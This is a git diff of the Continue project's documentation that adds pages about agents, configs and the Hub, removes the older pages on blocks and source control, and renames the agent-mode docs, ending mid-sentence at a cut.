[hub.continue.dev/agents](https://hub.continue.dev/agents) + + + + **Terminal interface for development** + + ```bash + cn --agent continuedev/github-project-manager-agent + ``` + + Perfect for: + - Local development workflows + - Testing agent behavior + - Interactive debugging + - Quick iterations + + + + **Automated execution for CI/CD** + + ```bash + cn --agent continuedev/snyk-continuous-ai-agent -p "Run security scan" --auto + ``` + + Perfect for: + - Scheduled workflows + - CI/CD integration + - Webhook triggers + - Background processing + + + +## Best Practices for Success + +The practice of using agents (Continuous AI) requires thoughtful setup of guardrails and habits: + + + + Begin with tasks you're confident Continue can handle, like fixing known bugs with simple solutions. + + + + Test with [Continue CLI](../../guides/cli) in TUI mode before deploying automation. + + + + Agents can run for extended periods - invest time in detailed prompts with all important context. + + + + Discuss agent usage and adjust code review habits for higher PR volumes. + + + + + **Learn More**: Explore advanced patterns and case studies on the [Continuous AI Blog](https://blog.continue.dev). + diff --git a/docs/hub/agents/overview.mdx b/docs/hub/agents/overview.mdx new file mode 100644 index 000000000..e4dc90a02 --- /dev/null +++ b/docs/hub/agents/overview.mdx @@ -0,0 +1,201 @@ +--- +title: "Agents Overview" +description: "Standardized AI workflows that combine prompts, rules, and tools to complete specific, repeatable tasks" +sidebarTitle: "Overview" +--- + + + Agents are custom AI workflows that combine a prompt, rules, and tools (MCPs and more) to complete specific, repeatable tasks. + They live in the Continue Hub and can be executed from Mission Control (web interface), TUI mode, or headless automation. + + +## What Are Agents? + +Agents let your team standardize common workflows like opening GitHub PRs, summarizing analytics, or auditing security. Each agent includes: + +### Agent Components + +| **Component** | **Description** | **Example** | +|----------------|-----------------|--------------| +| **Prompt** | The agent’s main instruction that defines what it does and how it should behave. Additional user input is appended when invoked. | Example prompt: “Summarize ongoing work with status, blockers, and next steps. Use markdown formatting and a concise, professional tone.” | +| **Rules** | Define consistent standards or behaviors that guide how the agent responds. Rules help ensure reliability across team usage. | “Always include related issue or PR links when summarizing work.” | +| **Tools / MCPs** | External systems or integrations the agent can call to complete tasks. MCPs (Model Context Protocols) extend functionality through APIs. | GitHub, PostHog, Supabase | +| **Model** | The large language model that powers the agent’s reasoning and output generation. | Claude Sonnet 4.5 | +| **Visibility** | Determines who can view or use the agent. Controls access at creation time. | Public, Organization, or Private | + + + Mission Control is in beta. Please share any feedback with us in [GitHub discussions](https://github.com/continuedev/continue/discussions/8051). + + +## Ways to Run Agents + +You can run Agents in three main ways: + + + + **Interactive web interface** + + Trigger from the Continue Hub and review results in real-time. + + ```bash + # Navigate to hub.continue.dev/agents + # Click "Run Agent" on any agent + # Monitor progress and review outputs + ``` + + Perfect for: Interactive debugging, reviewing agent outputs, team collaboration + + + + **Interactive terminal mode** + + Launch from terminal for live interaction and testing. + + ```bash + cn --agent my-org/github-pr-agent + # Interactive chat interface opens + # Type your specific request + # Review and approve actions + ``` + + Perfect for: Local development, testing prompts, quick one-off tasks + + + + **Automated execution** + + Run one-off or scheduled tasks automatically without interaction. + + ```bash + cn -p --agent my-org/snyk-agent "Run weekly security scan" --auto + ``` + + Perfect for: CI/CD pipelines, scheduled tasks, webhook integrations + + + +## Pre-configured Agents + +Skip the setup and use battle-tested agents from our cookbook collection: + + + + `continuedev/snyk-continuous-ai-agent` + Finds vulnerabilities and opens PRs with fixes + + + + `continuedev/github-project-manager-agent` + Triages issues and manages project workflows + + + + `continuedev/posthog-continuous-ai-agent` + Analyzes user data and creates actionable tasks + + + + `continuedev/netlify-continuous-ai-agent` + Monitors Core Web Vitals and optimizes deployments + + + + `continuedev/supabase-agent` + Audits RLS security and generates migrations + + + + `continuedev/dlt-agent` + Inspects pipelines and debugs load errors + + + + + **Explore More Agents**: Browse the complete collection of pre-configured agents and MCP integration cookbooks in our [Guides Overview](/guides/overview#mcp-integration-cookbooks). + + +{/* ## Webhook Integrations + +Trigger Agents automatically through secure webhooks for CI/CD integration: + +```bash +POST /webhooks/ingest/:webhookId +{ + "payload": { "trigger": "nightly-security-scan" } +} +``` + +Perfect for connecting with: +- GitHub Actions workflows +- Monitoring alerts (Sentry, DataDog) +- Deployment pipelines +- Scheduled maintenance tasks */} + +## Collaboration + +Agents are organizational assets — once created, everyone in your org can use them: + +| Role | Permissions | +|------|-------------| +| **Public** | Use, create, remix, and delete Agents | +| **Organization** | Share agents with your team | +| **Private** | Create, edit, and delete Agents for your personal use | + +## Getting Started + + + + Start with a cookbook agent like `continuedev/github-project-manager-agent`: + + ```bash + cn --agent continuedev/github-project-manager-agent "List open issues labeled bug" + ``` + + + + Test agents locally before automation: + + ```bash + cn --agent continuedev/snyk-continuous-ai-agent + # Interactive mode - perfect for learning how to use the agent for your use case + ``` + + + + Ready to build custom workflows? Learn how in our [Create and Edit guide](/hub/agents/create-and-edit). + + + + Integrate with CI/CD using headless mode and webhooks for continuous workflows. + + + +## Best Practices + +The practice of using background agents, which we call Continuous AI, requires forethought to set up the right guardrails: + +- **Start Small**: Begin with tasks you're confident Continue can accomplish +- **Use Thorough Prompts**: Agents can run for extended periods, so invest in detailed instructions +- **Test Locally First**: Practice with TUI mode before deploying to production +- **Team Alignment**: Discuss agent usage and adjust code review habits for higher PR volume +- **Iterate and Improve**: Be willing to refine prompts based on results + +## Next Steps + + + + Build your first custom agent with prompts, rules, and tools + + + + Browse pre-built agents for security, analytics, and more + + + + Learn to run agents from the command line + + + + Access the web interface to manage agents + + \ No newline at end of file diff --git a/docs/hub/agents/use-an-agent.mdx b/docs/hub/agents/use-an-agent.mdx deleted file mode 100644 index afefad9a3..000000000 --- a/docs/hub/agents/use-an-agent.mdx +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "How to Use an Agent" -description: "Learn how to add, configure, and use an AI agent in Continue, including setting required inputs and selecting it in your IDE extension." ---- - -## Steps to Use an AI Agent in Continue - -Once you've found the agent you want to use on Continue Hub: - -1. Click “Add Agent” on its page -2. Add any required inputs (e.g. secrets like API keys) -3. Select “Save changes” in agent sidebar on the right hand side - -After saving, open your IDE extension and: - -- Select the agent from the **agent dropdown** in the Continue extension. -- Begin using it for chat, code generation, or other configured capabilities. - -![Extension Agent Selector](/images/hub/assistants/images/assistant-extension-select.png) diff --git a/docs/hub/blocks/block-types.mdx b/docs/hub/blocks/block-types.mdx deleted file mode 100644 index 461072d46..000000000 --- a/docs/hub/blocks/block-types.mdx +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: "Blocks: Models, Rules, Prompts, and MCP servers" -sideBarTitle: "Block Types" -description: "Explore the different types of reusable blocks in Continue Hub including models, MCP servers, rules, and prompts" ---- - -## Models - -Models are blocks that let you specify Large Language Models (LLMs) and other deep learning models to be used for various roles in the open-source IDE extension like Chat, Autocomplete, Edit, Embed, Rerank, etc. You can explore available models on [the hub](https://hub.continue.dev/explore/models). - -Continue supports [many model providers](/customize/model-providers), including Anthropic, OpenAI, Gemini, Ollama, Amazon Bedrock, Azure, xAI, DeepSeek, and more. Models can have one or more of the following roles depending on its capabilities, including `chat`, `edit`, `apply`, `autocomplete`, `embed`, and `rerank`. Read more about roles [here](/customize/model-roles). View [`models`](/reference#models) in the YAML Reference for more details. - - - -## MCP Servers - -Model Context Protocol (MCP) is a standard way of building and sharing tools for language models. MCP Servers can be defined in `mcpServers` blocks. [Explore MCP Servers](https://hub.continue.dev/explore/mcp) on the hub. - -Learn more in the [MCP deep dive](/customize/deep-dives/mcp), and view [`mcpServers`](/reference#mcpservers) in the YAML Reference for more details. - -## Rules - -Rules blocks are instructions that your custom AI code agent will always keep in mind - the contents of rules are inserted into the system message for all Chat requests. [Explore rules](https://hub.continue.dev/explore/rules) on the hub. - -Learn more in the [rules deep dive](/customize/deep-dives/rules), and view [`rules`](/reference#rules) in the YAML Reference for more details. - -## Prompts - -Prompts blocks are pre-written, reusable prompts that can be referenced at any time during chat. They are especially useful as context for repetitive and/or complex tasks. [Explore prompts](https://hub.continue.dev/explore/prompts) on the hub. - -Prompt blocks are pre-written, reusable prompts that can be referenced at any time during chat. They are especially useful as context for repetitive and/or complex tasks. [Explore prompts](https://hub.continue.dev/explore/prompts) on the hub. -Prompt blocks have the same syntax as [prompt files](/customize/deep-dives/prompts). The `config.yaml` spec for `prompts` can be found [here](/reference#prompts). - - diff --git a/docs/hub/blocks/create-a-block.mdx b/docs/hub/blocks/create-a-block.mdx deleted file mode 100644 index 3b59267a8..000000000 --- a/docs/hub/blocks/create-a-block.mdx +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: "How to Create a Block" -sidebarTitle: "Create a Block" -description: "Learn how to create and remix reusable blocks in Continue Hub for sharing configuration components like models, prompts, and tools with customizable inputs and template variables" ---- - -## How to Remix a Block - -You should remix a block if you want to use it after some modifications. - -By clicking the “remix” button, you’ll be taken to the “Create a remix” page. - -![Remix block button](/images/hub/blocks/images/block-remix-button-913beb80672662855acc7013561c78d0.png) - -Once here, you’ll be able to 1) edit YAML configuration for the block and 2) change name, description, icon, etc. Clicking “Create block” will make this block available for use in an agent. - -## How to Create a Block from Scratch - -To create a block from scratch, you will need to click “New block” in the top bar. - -![New block button](/images/hub/blocks/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png) - -After filling out information on the block, you will want to create a block following the `config.yaml` [reference documentation](/reference). Refer to examples of blocks on [hub.continue.dev](https://hub.continue.dev/explore/models) and visit the [YAML Reference](/reference#complete-yaml-config-example) docs for more details. - -![New block page](/images/hub/blocks/images/block-new-page-2d7faf71739d0f062d555b5d7257fb56.png) - -### Block Inputs - -Blocks can receive values, including secrets, as inputs through templating. For values that the user of the block needs to set, you can use template variables (e.g. `${{ inputs.API_KEY}}`). Then, the user can set `API_KEY: ${{ secrets.MY_API_KEY }}` in the `with` clause of their agent. diff --git a/docs/hub/blocks/intro.mdx b/docs/hub/blocks/intro.mdx deleted file mode 100644 index 7180b3f63..000000000 --- a/docs/hub/blocks/intro.mdx +++ /dev/null @@ -1,6 +0,0 @@ ---- -title: "Introduction" -description: "Blocks are the components you use to build a custom AI code agent. These include Models, MCP Servers, Rules, and Prompts." ---- - -Blocks follow the [`config.yaml`](/reference) format. When combined with other blocks into a complete `config.yaml`, they form a custom AI code agent. diff --git a/docs/hub/blocks/use-a-block.mdx b/docs/hub/blocks/use-a-block.mdx deleted file mode 100644 index ed5ff7cb3..000000000 --- a/docs/hub/blocks/use-a-block.mdx +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: "How to Use a Block" -description: "Learn how to use blocks in Continue Hub to enhance your AI code agent." ---- - -Blocks are used to build custom AI code agents in Continue Hub. Learn more: - -- [Create an agent](/hub/agents/create-an-agent) -- [Edit an agent](/hub/agents/edit-an-agent) - -Some blocks require inputs. If you are missing an input for a block, a notification icon will show up in the sidebar next to the block. Click the notification to select which secret to use for the block input: - -![Block inputs](/images/hub/blocks/images/block-inputs-b26686c49eea145a875dfe46862c85e0.png) diff --git a/docs/hub/configs/create-a-config.mdx b/docs/hub/configs/create-a-config.mdx new file mode 100644 index 000000000..04a7a026e --- /dev/null +++ b/docs/hub/configs/create-a-config.mdx @@ -0,0 +1,30 @@ +--- +title: "How to Create a Config" +description: "Learn how to create custom AI coding configs in Continue Hub by remixing existing configs or building new ones from scratch with reusable blocks and YAML configuration." +sidebarTitle: "Create a Config" +--- + +## How to Create a Config from Scratch + +To create an config from scratch, select “New config” in the top bar. + +Choose a name, slug, description, and icon for your config. + +The easiest way to create an config is to click "Create config" with the default configuration and then add / remove blocks using the sidebar. + +Alternatively, you can edit the config YAML directly before clicking "Create config". Refer to examples of configs on [hub.continue.dev](https://hub.continue.dev) and visit the [YAML Reference](/reference#complete-yaml-config-example) docs for more details. + + + +## How to Remix a Config + +You can also create an config by remixing an existing one. This is useful if you want to start with a pre-configured config and make modifications. + +By clicking the “remix” button, you’ll be taken to the “Create a remix” page. + +Once here, you’ll be able to + +1. add or remove components from the config. +2. change the name, description, icon, etc. + +Clicking “Create config” will make this config available for use. diff --git a/docs/hub/configs/edit-a-config.mdx b/docs/hub/configs/edit-a-config.mdx new file mode 100644 index 000000000..5e1dd3c14 --- /dev/null +++ b/docs/hub/configs/edit-a-config.mdx @@ -0,0 +1,19 @@ +--- +title: "How to Edit a Config" +description: "New versions of a config can be created and published using the sidebar." +--- + +First, select a config either from the Hub search or one that you've installed. + +While editing a config, you can explore the hub and click "+" to add it to your config. + +For tools or models that require secret values like API keys, you will see a small notification on its tile that will indicate if action is needed. + + +To delete part of your config, you can remove it from the yaml. + +If a rule, prompt, or tool you want to use does not exist yet, you can [create it](/hub/introduction#creating-components). + +When you are done editing, click "Publish" to publish a new version of the config. + +Reload your terminal or IDE to use the latest version of the config in your agents. \ No newline at end of file diff --git a/docs/hub/configs/intro.mdx b/docs/hub/configs/intro.mdx new file mode 100644 index 000000000..69094b8e7 --- /dev/null +++ b/docs/hub/configs/intro.mdx @@ -0,0 +1,100 @@ +--- +title: "Introduction to Configs" +description: "Custom configuration options include Models, MCP Servers, Rules, Prompts, etc." +sidebarTitle: "Configs" +--- + + +## What Are Configs? + +Configs are flexible containers that combine multiple components to create powerful AI coding experiences using the Continue CLI or the Extensions. A single config can include: + + + + + + Large Language Models for chat, autocomplete, editing, and more + + + + + + Model Context Protocol servers that provide tools and capabilities + + + + + + Guidelines that shape AI behavior and responses + + + + + + Reusable instructions for common coding tasks + + + + + +## How Configs Work + +Think of configs as recipes for AI assistance. Each config defines: + +- **What models** to use for different tasks (chat, autocomplete, code editing) +- **Which tools** are available through MCP servers +- **How the AI behaves** through rules and guidelines +- **Pre-built prompts** for common workflows + +This flexibility lets you create specialized setups for different contexts, like a Next.js config with React-specific rules and tools, or a data science config with Python analysis capabilities. + +## Config Permissions + +When creating configs, you can set visibility levels: + +- **Personal**: Only you can see and use the config +- **Public**: Anyone can discover and use your config +- **Organization**: Members of your organization can access the config + +## Working with Configs + +You can interact with configs in three main ways: + +- **Create**: Build a new config from scratch or start with a template +- **Edit**: Modify your existing configs by adding/removing components +- **Remix**: Take someone else's config and customize it for your needs + +## Getting Started + + + + + + Browse the [Continue Hub](https://hub.continue.dev/explore?type=assistants) to see what configs others have built + + + + + + Click "Install Config" (+) on any config that interests you + + + + + + Add your API keys and customize components to match your workflow + + + + + + Select the config from the dropdown in your Continue extension, type `/config` in the CLI, or use `--config` with the CLI commands + + + + + +## Config Format + +All configs follow the [`config.yaml`](/reference) format, whether you're using the hub interface or editing files locally. This ensures consistency between hub-managed and local configurations. + diff --git a/docs/hub/configs/use-a-config.mdx b/docs/hub/configs/use-a-config.mdx new file mode 100644 index 000000000..1785adee5 --- /dev/null +++ b/docs/hub/configs/use-a-config.mdx @@ -0,0 +1,18 @@ +--- +title: "How to Use a Custom Config" +description: "Learn how to add and use a custom configuration in Continue, including setting required inputs and selecting it in your IDE extension." +--- + +## Steps to use a custom configuration in Continue + +Once you've found the configuration you want to use on Continue Hub: + +1. Click “Add Config” on its page +2. Add any required inputs (e.g. secrets like API keys) + +After saving, open the Continue CLI or IDE extension and + +- Select the configuration from the **config dropdown** in the Continue extension +- Type `/config` and select the configuration in the Continue CLI +- Begin using it for chat mode, agent mode, or other configured capabilities. + diff --git a/docs/hub/governance/creating-an-org.mdx b/docs/hub/governance/creating-an-org.mdx index c0a021000..f8da55c35 100644 --- a/docs/hub/governance/creating-an-org.mdx +++ b/docs/hub/governance/creating-an-org.mdx @@ -6,7 +6,7 @@ description: "To Create an Organization, click the organization selector in the ![create an org selector](/images/hub/governance/images/org-selector-4ea627afc7c0765633780920a0fbe16e.png) 1. Choose a name, which will be used as the display name for your organization throughout the hub -2. Add a slug, which will be used for your org URL and as the prefix to all organization blocks and agent slugs +2. Add a slug, which will be used for your org URL and as the prefix to all organization configuration slugs 3. Select an icon for your organization using the image uploader 4. Finally, add a Biography, which will be displayed on your org Home Page diff --git a/docs/hub/introduction.mdx b/docs/hub/introduction.mdx index 29061ec2a..3ae6e5d94 100644 --- a/docs/hub/introduction.mdx +++ b/docs/hub/introduction.mdx @@ -1,15 +1,114 @@ --- -title: "Introduction" -description: "Continue Hub provides a central registry for creating, managing, and sharing AI coding assistants and their reusable building blocks with organization-level governance and configuration" +title: "Continue Hub" +description: "Central platform for discovering, creating, and sharing AI coding configurations, agents, and components with organization-level governance" --- -[Continue Hub](https://hub.continue.dev) is the place to discover, configure, and govern the models, rules, and MCP tools you need to create a custom AI coding agent. +[Continue Hub](https://hub.continue.dev) is your central platform for AI-powered development. Discover pre-built configurations, create custom agents, and manage components that power your coding workflow. -Continue Hub provides a centralized platform for managing the essential building blocks of your AI coding workflow: +## What You Can Do on the Hub -- **[Models](/hub/blocks/block-types#models)**: Discover and configure models from various providers -- **[MCP Tools](/hub/blocks/block-types#mcp-servers)**: Access and integrate Model Context Protocol tools to retrieve real-time data and take action -- **[Rules](/hub/blocks/block-types#rules)**: Define custom guidelines for your custom AI coding agent to follow -- **[Prompts](/hub/blocks/block-types#prompts)**: Create and share reusable prompts that kickoff your custom AI coding agent +![Continue Hub Overview](/images/hub/assets/images/hub-overview.jpg) -Continue Hub also makes it easy for engineering leaders to centrally [configure](/hub/secrets/secret-types) and [govern](/hub/governance/org-permissions) these resources for their organization. \ No newline at end of file + + + + Manage organizations, API keys, secrets, and integrations. Configure models, MCP servers, and connected tools all in one place. + + + Search existing agents or build custom, reusable agents. Standardize prompts, rules, and tools to match your workflows and share with your team. + + + Launch and monitor agents across your repositories. Trigger on events or schedules and track performance. + + + + +## Hub Components + +Agents are built from reusable components that you can create, share, and customize: + + + + + + Large Language Models from various providers (OpenAI, Anthropic, etc.) configured for specific roles like chat, autocomplete, or editing + + + + + + Model Context Protocol servers that provide tools and capabilities like database access, web search, or custom functions + + + + + + Guidelines that shape AI behavior - coding standards, constraints, or specific instructions for your domain + + + + + + Reusable instructions for common tasks, optimized for specific workflows or coding patterns + + + + + +## Creating Components + + + + Components are the building blocks for agents. When you create a component on the hub, it becomes available according to the permissions you set. + + + + + + + + Start with a blank template: + + - Select New Rules, Prompts, Configs, or Agents from the Hub navigation + - Click 'New' to start with a blank template + - Configure by filling in the inputs to create your markdown configuration + ![hub navigation new](../images/hub/hub-nav.png) + + + + + + Customize an existing component: + + - Browse the [Hub](https://hub.continue.dev/) for what you need + - Click 'Remix' to create a copy that you can customize + - Modify the configuration for your specific needs + - Save your customized version + ![hub remix button](../images/hub/block-remix-button.png) + + + + + + +### Component Permissions + +Set visibility for your components: + +- **Personal**: Only you can see and use +- **Public**: Anyone can discover and use +- **Organization**: Team members can access + +### Component Inputs + +Some components can receive values, including secrets, as inputs through templating. For values that the user needs to set, you can use template variables (e.g. `${{ inputs.API_KEY}}`). Then, the user can set `API_KEY: ${{ secrets.MY_API_KEY }}` in the `with` clause of their agent or config. + + +**Choosing between `secrets.` and `inputs.`** + +When creating blocks for the hub: +- Use `${{ inputs.INPUT_NAME }}` in your block definition when you want users to be able to customize which secret is used +- Users will then map their own secrets using `${{ secrets.SECRET_NAME }}` in the `with` clause + +For personal or single-use configurations, you can skip the inputs layer and reference `${{ secrets.SECRET_NAME }}` directly in your block. + diff --git a/docs/hub/secrets/secret-types.mdx b/docs/hub/secrets/secret-types.mdx index ebf3d39ca..d2b690faa 100644 --- a/docs/hub/secrets/secret-types.mdx +++ b/docs/hub/secrets/secret-types.mdx @@ -1,16 +1,16 @@ --- title: "Secret Types" -description: "The Continue Hub comes with secrets management built-in. Secrets are values such as API keys or endpoints that can be shared across agents and within organizations." +description: "The Continue Hub comes with secrets management built-in. Secrets are values such as API keys or endpoints that can be shared across configurations and within organizations." --- ## User secrets -User secrets are defined by the user for themselves. This means that user secrets are available only to the user that created them. User secrets are assumed to be safe for the user to know, so they will be sent to the IDE extensions alongside the agent `config.yaml`. +User secrets are defined by the user for themselves. This means that user secrets are available only to the user that created them. User secrets are assumed to be safe for the user to know, so they will be sent to the IDE extensions alongside `config.yaml`. This allows API requests to be made directly from the IDE extensions. You can use user secrets with [Solo](/hub/governance/pricing#solo), [Teams](/hub/governance/pricing#teams), and [Enterprise](/hub/governance/pricing#enterprise). User secrets can be managed [here](https://hub.continue.dev/settings/secrets) in the hub. ## Org secrets -Org secrets are defined by admins for their organization. Org secrets are available to anyone in the organization to use with agents in that organization. Org secrets are assumed to not be shareable with the user (e.g. you are a team lead who wants to give team members access to models without passing out API keys). +Org secrets are defined by admins for their organization. Org secrets are available to anyone in the organization to use with configurations in that organization. Org secrets are assumed to not be shareable with the user (e.g. you are a team lead who wants to give team members access to models without passing out API keys). This is why LLM requests are proxied through api.continue.dev / on-premise proxy and secrets are never sent to the IDE extensions. You can only use org secrets on [Teams](/hub/governance/pricing#teams) and [Enterprise](/hub/governance/pricing#enterprise). If you are an admin, you can manage secrets for your organization from the org settings page. diff --git a/docs/hub/sharing.mdx b/docs/hub/sharing.mdx index b429dbd9d..93a7a9de3 100644 --- a/docs/hub/sharing.mdx +++ b/docs/hub/sharing.mdx @@ -7,7 +7,7 @@ description: "Connect with the Continue community to discover, share, and collab Join thousands of developers using Continue. Share experiences, get help, and contribute to the ecosystem. -[Join our Discord Community →](https://discord.gg/continue) +[Join our Discord Community →](https://discord.gg/vapESyrFmJ) ## Publishing @@ -15,17 +15,17 @@ Share your custom assistants, blocks, and configurations with the Continue commu [Visit the Hub →](https://hub.continue.dev) -## Browse Agents +## Browse Configurations Explore assistants created by the community for specific use cases and workflows. -[Browse Agents →](https://hub.continue.dev) +[Browse Configurations →](https://hub.continue.dev) -## Using Agents +## Using Configurations Learn how to discover, install, and use community-created assistants in your projects. -[Learn About Agents →](/hub/assistants/intro) +[Learn About Configurations →](/hub/configs/intro) --- diff --git a/docs/hub/source-control.mdx b/docs/hub/source-control.mdx deleted file mode 100644 index ee0c410ec..000000000 --- a/docs/hub/source-control.mdx +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: "Source Control" -description: "When managing your custom agents within an organization, you might want to take advantage of your usual source control workflows. Continue makes this easy with a that automatically syncs your YAML files with hub.continue.dev. We are also planning on adding automations for GitLab, BitBucket, Gitee, and others. If you are interested, please reach out to us on ." ---- - -## Quickstart - -This quickstart uses a template repository, but you can also follow these steps 2-4 from an existing repository. - -### 1. Create a new repository from the template - -As shown in the image below, start by creating a new repository from [the template](https://github.com/continuedev/continue-hub-template). Click "Use Template" and then "Create a new repository". - -![Use the template repository](/images/hub/images/template-repo-65ccd7537b6fba3bbb202ee3e83e1953.png) - -### 2. Obtain a deploy key - -Deploy keys allow the GitHub Action to authenticate with hub.continue.dev. [Obtain your deploy key here](https://hub.continue.dev/settings/api-keys) and then [create a secret](https://docs.github.com/en/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository) named `CONTINUE_API_KEY` in your GitHub repository. - -### 3. Configure the GitHub Action - - - This step assumes you have already created an organization on - hub.continue.dev. If not, learn more [here](/hub/governance/creating-an-org). - - -In the repository you created, navigate to `.github/workflows/main.yaml` and update the lines below to match your organization: - -``` -env: OWNER_SLUG: my-org-slug # <-- TODO -``` - -This is the only configuration necessary, but you can view the full list of options [here](https://github.com/continuedev/continue-publish-action/blob/main/README.md). - -### 4. Commit and push - -Add the [YAML for your agents and blocks](/reference) to the appropriate directories. The name of the file will be the slug of the agent/block. - -- `assistants/public` for public agents -- `assistants/private` for private (visible only within your organization) agents -- `blocks/public` for public blocks -- `blocks/private` for private blocks - -Then, commit and push your changes. Once the GitHub Action has completed running, you should be able to view the agents within your organization on hub.continue.dev. For subsequent changes, make sure to increment the `version` property of your updated YAML file(s). diff --git a/docs/features/agent/context-selection.mdx b/docs/ide-extensions/agent/context-selection.mdx similarity index 91% rename from docs/features/agent/context-selection.mdx rename to docs/ide-extensions/agent/context-selection.mdx index 8d43ad2d3..d4aad5cab 100644 --- a/docs/features/agent/context-selection.mdx +++ b/docs/ide-extensions/agent/context-selection.mdx @@ -3,6 +3,6 @@ title: "Context Selection" description: "Learn how Continue's agent mode selects relevant code context using file content, language server definitions, imports, and recent file history." --- -You can use the same methods to manually add context as [Chat](/features/chat/context-selection). +You can use the same methods to manually add context as [Chat](/ide-extensions/chat/context-selection). Tool call responses are automatically included as context items. This enables Agent mode to see the result of the previous action and decide what to do next. diff --git a/docs/features/agent/how-it-works.mdx b/docs/ide-extensions/agent/how-it-works.mdx similarity index 90% rename from docs/features/agent/how-it-works.mdx rename to docs/ide-extensions/agent/how-it-works.mdx index d24557d78..ccb1a65b6 100644 --- a/docs/features/agent/how-it-works.mdx +++ b/docs/ide-extensions/agent/how-it-works.mdx @@ -1,13 +1,13 @@ --- title: "How Agent Mode Works" -description: "Agent offers the same functionality as Chat, while also including tools in the request to the model and an interface for handling tool calls and responses." +description: "Agent mode offers the same functionality as Chat mode, while also including tools in the request to the model and an interface for handling tool calls and responses." --- ## How the Tool Handshake Works Tools provide a flexible, powerful way for models to interface with the external world. They are provided to the model as a JSON object with a name and an arguments schema. For example, a `read_file` tool with a `filepath` argument will give the model the ability to request the contents of a specific file. -The following handshake describes how Agent uses tools: +The following handshake describes how Agent mode uses tools: 1. In Agent mode, available tools are sent along with `user` chat requests 2. The model can choose to include a tool call in its response diff --git a/docs/features/agent/how-to-customize.mdx b/docs/ide-extensions/agent/how-to-customize.mdx similarity index 69% rename from docs/features/agent/how-to-customize.mdx rename to docs/ide-extensions/agent/how-to-customize.mdx index 1cf18bf31..b5ebb5272 100644 --- a/docs/features/agent/how-to-customize.mdx +++ b/docs/ide-extensions/agent/how-to-customize.mdx @@ -1,12 +1,12 @@ --- title: "How to Customize Agent Mode" description: "Learn how to customize Agent Mode in Continue to better fit your workflow and coding style." -sidebarTitle: "Customize Agent" +sidebarTitle: "Customize Agent Mode" --- ## How to Add Rules Blocks -Adding Rules can be done in your agent locally or in the Hub. You can explore Rules on the Continue Hub and refer to the [Rules deep dive](/customize/deep-dives/rules) for more details. +Adding Rules can be done in your configuration locally or in the Hub. You can explore Rules on the Continue Hub and refer to the [Rules deep dive](/customize/deep-dives/rules) for more details. ## How to Customize System Messages @@ -25,11 +25,11 @@ models: ## How to Add MCP Tools -You can add MCP servers to your agent to give Agent access to more tools. Explore [MCP Servers on the Hub](https://hub.continue.dev) and consult the [MCP guide](/customize/deep-dives/mcp) for more details. +You can add MCP servers to your configuration to give Agent mode access to more tools. Explore [MCP Servers on the Hub](https://hub.continue.dev/explore?type=mcpServers) and consult the [MCP guide](/customize/deep-dives/mcp) for more details. ## How to Configure Tool Policies -You can adjust the Agent's tool usage behavior to three options: +You can adjust the Agent mode's tool usage behavior to three options: - **Ask First (default)**: Request user permission with "Cancel" and "Continue" buttons - **Automatic**: Automatically call the tool without requesting permission diff --git a/docs/features/agent/model-setup.mdx b/docs/ide-extensions/agent/model-setup.mdx similarity index 94% rename from docs/features/agent/model-setup.mdx rename to docs/ide-extensions/agent/model-setup.mdx index bd8888460..c4fa7045c 100644 --- a/docs/features/agent/model-setup.mdx +++ b/docs/ide-extensions/agent/model-setup.mdx @@ -5,7 +5,7 @@ sidebarTitle: "Model Setup" --- import { ModelRecommendations } from '/snippets/ModelRecommendations.jsx' -The models you set up for Chat mode will be used with Agent mode if the model supports tool calling. The recommended models and how to set them up can be found [here](/features/chat/model-setup). +The models you set up for Chat mode will be used with Agent mode if the model supports tool calling. The recommended models and how to set them up can be found [here](/ide-extensions/chat/model-setup). ## How System Message Tools Work diff --git a/docs/features/agent/plan-mode.mdx b/docs/ide-extensions/agent/plan-mode.mdx similarity index 95% rename from docs/features/agent/plan-mode.mdx rename to docs/ide-extensions/agent/plan-mode.mdx index 474c3fbd9..89cd65c4d 100644 --- a/docs/features/agent/plan-mode.mdx +++ b/docs/ide-extensions/agent/plan-mode.mdx @@ -39,7 +39,7 @@ Select "Plan" from the mode selector below the chat input, or use `Cmd/Ctrl + .` ![Plan mode selector](/images/plan-mode-selector.png) -For detailed information about tools and usage, see the [Agent documentation](/features/agent/how-it-works), which covers both Agent and Plan modes. +For detailed information about tools and usage, see the [Agent documentation](/ide-extensions/agent/how-it-works), which covers both Agent and Plan modes. ### What Is the Common Workflow for Plan Mode? diff --git a/docs/features/agent/quick-start.mdx b/docs/ide-extensions/agent/quick-start.mdx similarity index 55% rename from docs/features/agent/quick-start.mdx rename to docs/ide-extensions/agent/quick-start.mdx index 32d99869a..0ed038b8d 100644 --- a/docs/features/agent/quick-start.mdx +++ b/docs/ide-extensions/agent/quick-start.mdx @@ -3,7 +3,7 @@ title: "Quick Start" description: "Get started with Continue's Agent mode to automatically implement code changes, fix bugs, and run commands using AI-powered tools that can modify your codebase based on natural language instructions" --- -Agent equips the Chat model with the tools needed to handle a wide range of coding tasks, allowing the model to make decisions and save you the work of manually finding context and performing actions. +Agent mode equips the Chat model with the tools needed to handle a wide range of coding tasks, allowing the model to make decisions and save you the work of manually finding context and performing actions. @@ -41,14 +41,14 @@ Agent equips the Chat model with the tools needed to handle a wide range of codi You can switch to `Agent` in the mode selector below the chat input box. The mode selector offers three options: -- **Chat**: No tools available, pure conversation -- **Plan**: Read-only tools for safe exploration and planning -- **Agent**: All tools available for making changes +- **Chat mode**: No tools available, pure conversation +- **Plan mode**: Read-only tools for safe exploration and planning +- **Agent mode**: All tools available for making changes ![How to select agent mode](/images/mode-select-agent.png) - If Agent or Plan is disabled with a `Not Supported` message, the selected + If Agent mode or Plan mode is disabled with a `Not Supported` message, the selected model or provider doesn't support tools, or Continue doesn't yet support tools with it. See [Model Blocks](/customization/models) for more information. @@ -57,23 +57,23 @@ You can switch to `Agent` in the mode selector below the chat input box. The mod Use the keyboard shortcut `Cmd/Ctrl + .` to quickly cycle between modes. -### How to Chat with Agent +### How to Chat with Agent mode -Agent lives within the same interface as [Chat](/features/chat/how-it-works), so the same [input](/features/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/features/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the 